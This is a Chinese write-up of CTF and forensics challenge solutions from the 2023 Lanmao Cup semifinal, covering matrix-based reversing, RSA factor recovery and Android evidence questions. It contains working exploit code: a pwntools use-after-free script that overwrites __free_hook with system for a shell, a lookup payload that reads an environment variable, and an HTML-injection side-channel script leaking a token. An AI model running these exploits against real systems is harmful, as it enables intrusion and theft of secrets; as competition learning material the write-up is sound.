Bootstrap

2023年第七届蓝帽杯半决赛WP(CTF&取证)

CTF部分

re

justamat

根据字符串找到主函数

直接看最后的校验函数

跟进check函数

可以找到data1和data2两组数据,data1和data2都有400个数

乘法就是主要加密,整体而言其实就是矩阵的乘法(题目的mat也算是个提示吧)

设输入为X,则X * data1 = data2

那么X = data2 * data1的逆

D键,将data2转换成8字节的数,变成100个数

exp如下:

import numpy as np
data1=[254 ,11 ,29 ,246 ,131, 255 ,224 ,184 ,221, 176, 197, 222, 246, 20, 159, 221, 217, 7, 45, 107, 25, 202, 115, 253, 135, 114, 36, 4, 73, 126, 169, 206, 145, 190, 65, 24, 96, 63, 43, 99, 28, 210, 144, 233, 142, 186, 30, 243, 65, 173, 44, 3, 105, 218, 16, 253, 253, 231, 6, 54, 214, 2, 89, 24, 204, 80, 135, 175, 251, 24, 68, 127, 173, 248, 44, 103, 29, 34, 132, 172, 14, 35, 220, 230, 187, 210, 184, 74, 188, 222, 80, 156, 28, 30, 134, 58, 45, 221, 195, 3]
data2=[116275, 122772, 134847, 178752, 125060, 155857, 129457, 125466, 126634, 122802, 115152, 126706, 136929, 179712, 129886, 154996, 126976, 131798, 131074, 122366, 114711, 127116, 141302, 182202, 131502, 163775, 134689, 130908, 130402, 125256, 114286, 128215, 142477, 181075, 129243, 159261, 130913, 125455, 127190, 126376, 109949, 98840, 117972, 145846, 109644, 134524, 121191, 107764, 117464, 104110, 99099, 97861, 118991, 147167, 98734, 137056, 119732, 95702, 97594, 104783, 71837, 85199, 87694, 98027, 78462, 92741, 76065, 73712, 79427, 71465, 86417, 97559, 94818, 108643, 94224, 97040, 85916, 82920, 89755, 74796, 63116, 71978, 86189, 111008, 85088, 98987, 81739, 82342, 88739, 79305, 120943, 125178, 136589, 179628, 134735, 163558, 136121, 134790, 135679, 123375]

data2_matrix=[]
for i in range(10):
    row=[]
    for j in range(10):
        row.append(data2[10*i+j])
    data2_matrix.append(row)

data1_matrix=[]
for i in range(10):
    row=[]
    for j in range(10):
        row.append(data1[10*i+j])
    data1_matrix.append(row)

data1_matrix = np.array(data1_matrix)   #data1的矩阵形式
data2_matrix = np.array(data2_matrix)   #data2的矩阵形式
data1_matrix_inverse = np.linalg.inv(data1_matrix)    #data1的逆矩阵
flag = np.dot(data2_matrix, data1_matrix_inverse)     #矩阵乘法
flag = flag.flatten()
for i in flag:
    print(chr(round(i)),end='')

pwn

admin

第一个输入的命令是有效的

先看看目录

再重新cat f*

uaf

exp如下

from pwn import *

p = remote('120.78.209.16','46460')
elf = ELF('./main')
libc = ELF('./libc-2.31.so')

def add(size,content):
    p.sendlineafter('>>','1')
    p.sendlineafter('size:',str(size))
    p.sendafter('content:',content)
def free(index):
    p.sendlineafter('>>','2')
    p.sendlineafter('index:',str(index))
def edit(index,content):
    p.sendlineafter('>>','3')
    p.sendlineafter('index:',str(index))
    p.sendafter('content:',content)
def show():
    p.sendlineafter('>>','4')

add(0x4a0,b'aaa')
add(0x10,b'aaa')
free(0)
add(0x4a0,b'aaa')
free(0)
show()
p.recvuntil('0. ')
libcbase = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ebbe0
print(hex(libcbase))


add(0x10,b'a')
free(1)
add(0x10,b'a')
free(3)
free(1)
edit(4,p64(libcbase+libc.sym['__free_hook']))
add(0x10,b'sh\x00\x00')
add(0x10,p64(libcbase+libc.sym['system']))
free(5)

p.interactive()

web

MyLinuxBot

与谷歌CTF2022题目基本一致,执行:${java:${env:FLAG}}

AirticleShare

题目提示侧信道攻击

看这篇文章可以找到原题

36c3 Web 学习记录

修改一下Payload

import requests
import time

s = requests.Session()

base_url = "http://112.74.185.213:46791/"

res = s.get(base_url)

pos = res.text.find('name="c" value="') + len('name="c" value="')
csrftoken = res.text[pos:pos+16]
print(csrftoken)
ss = "1234567890abcdef"
flag = "56b86cb4b4d38da"

# for i in range(16):
# time.sleep(3)
for j in ss:
    payload = f"<form data-parsley-validate><input data-parsley-required data-parsley-trigger=\"blur\" data-parsley-error-message='<input type=\"input\" id=like value=\"rebirth_is_really_nb\">' data-parsley-errors-container=\'a[href^=\"/lookup.php?id={flag + j}\"]\' autofocus></form>"
    data = {'c': csrftoken, 'content': payload}
    res = s.post(base_url + "add.php", data=data, allow_redirects=False)
    print(res.content)
    location = res.headers['Location']
    pos = location.find('id=') + 3
    wp = location[pos:]
    data = {'c': csrftoken, 'id': wp}
    res = s.post(base_url + "admin.php", data=data)
    print(res.content)
    time.sleep(4)

    s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
    res = s.get(f"http://112.74.185.213:46791/lookup.php?id={wp}")
    print(res.text)
    txt = res.text.replace("\n", "").replace("\r", "")
    if "Liked by</h3>admin" not in txt:
        print(res)
        flag += j
        print(flag)
        break

因为网络问题,直接for循环会出现问题,所以一个一个字符去做的

misc

排队队吃果果

打开xlsx文件,打开以后,发现没有字,ctrl+a全选,修改你字体颜色,发现有些加粗,有些没加粗,结合题目,应当排序,将每一列从小到大排序,将加粗的单元格改成黑色,将列宽改为2,得到二维码,扫描后得到flag。

crypto

ezrsa

X对应153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509

Y对应8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426

用SymPy库解方程

import sympy

X = 153801856029563198525204130558738800846256680799373350925981555360388985602786501362501554433635610131437376183630577217917787342621398264625389914280509
Y = 8086061902465799210233863613232941060876437002894022994953293934963170056653232109405937694010696299303888742108631749969054117542816358078039478109426
n = 161010103536746712075112156042553283066813155993777943981946663919051986586388748662616958741697621238654724628406094469789970509959159343108847331259823125490271091357244742345403096394500947202321339572876147277506789731024810289354756781901338337411136794489136638411531539112369520980466458615878975406339
c = 15380535750650959213679345560658190067564859611922563753882617419201718847747207949211621591882732604480600745000879508274349808435529637573773711729853565120321608048340424321537282281161623712479117497156437792084977778826238039385697230676340978078264209760724043776058017336241110097549146883806481148999

p, q = sympy.symbols("p q")
f1 = q-p-1-X-Y*2
f2 = (p)*(q) - n
a = sympy.solve([f1, f2], [p, q])
print(a)
#p=12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
#q=12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
import gmpy2
import libnum
p = 12604273285023995463340817959574344558787108098986028639834181397979984443923512555395852711753996829630650627741178073792454428457548575860120924352450409
q = 12774247264858490260286489817359549241755117653791190036750069541210299769639605520977166141575653832360695781409025914510310324035255606840902393222949771
e = 0x10001
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
m = gmpy2.powmod(c, d, p * q)
print(libnum.n2s(int(m)))

取证部分

1.检材数据开始提取是今年什么时候?(答案格式:04-12 13:26)

09-11 17:21

logs.log中查看

2.嫌疑人手机SD卡存储空间一共多少GB?(答案格式: 22.5)

24.32

logs.log中查看

3.嫌疑人手机设备名称是?(答案格式:adfer)

sailfish

4.嫌疑人手机IMEI是?(答案格式:3843487568726387)

352531082716257

5.嫌疑人手机通讯录数据存放在那个数据库文件中?(答案格式:call.db)

contacts.db

安卓存放联系人的数据库文件

6.嫌疑人手机一共使用过多少个应用?(答案格式:22)

应用日志查看有使用时间的应用,导出记录excel看一下是100个(但是是错的)

7.测试apk的包名是?(答案格式:con.tencent.com)

com.example.myapplication

雷电APP

8.测试apk的签名算法是?(答案格式:AES250)

SHA256withRSA

jadx是SHA256withRSA,雷电app是SHA256-RSA,这里猜前者了

9.测试apk的主入口是?(答案格式:com.tmp.mainactivity)

com.example.myapplication.MainActivity

Manifest中可以找到

10.测试apk一共申请了几个权限?(答案格式:7)

3

jeb打开(雷电app也有,Manifest里也能看出来)

11.测试apk对Calllog.txt文件内的数据进行了什么加密?(答案格式:DES)

Base64、BASE64后来可能都算对了

12.10086对嫌疑人拨打过几次电话?(答案格式:5)

2

base64解码calllog.txt,得到通话记录,搜索10086结果是2条,且都为呼进

13.测试apk对短信记录进行了几次加密?(答案格式:5)

2

分别是base64和AES加密

14.测试apk对短信记录进行加密的秘钥是?(答案格式:slkdjlfslskdnln)

bGlqdWJkeWhmdXJp

对SMS.txt的加密逻辑是先AES加密,再base64加密,AES的秘钥在Getkey函数中


Getkey函数在native层,那么打开so文件寻找

搜索getkey,函数逻辑是first进行base64加密,且截取前16位

cyberchef加密一下,获取前16位

15.嫌疑人在2021年登录支付宝的验证码是?(答案格式:3464)

9250

用得到的秘钥解密SMS.txt文件,得到短信记录,轻松找到验证码

总结:题目太水了

;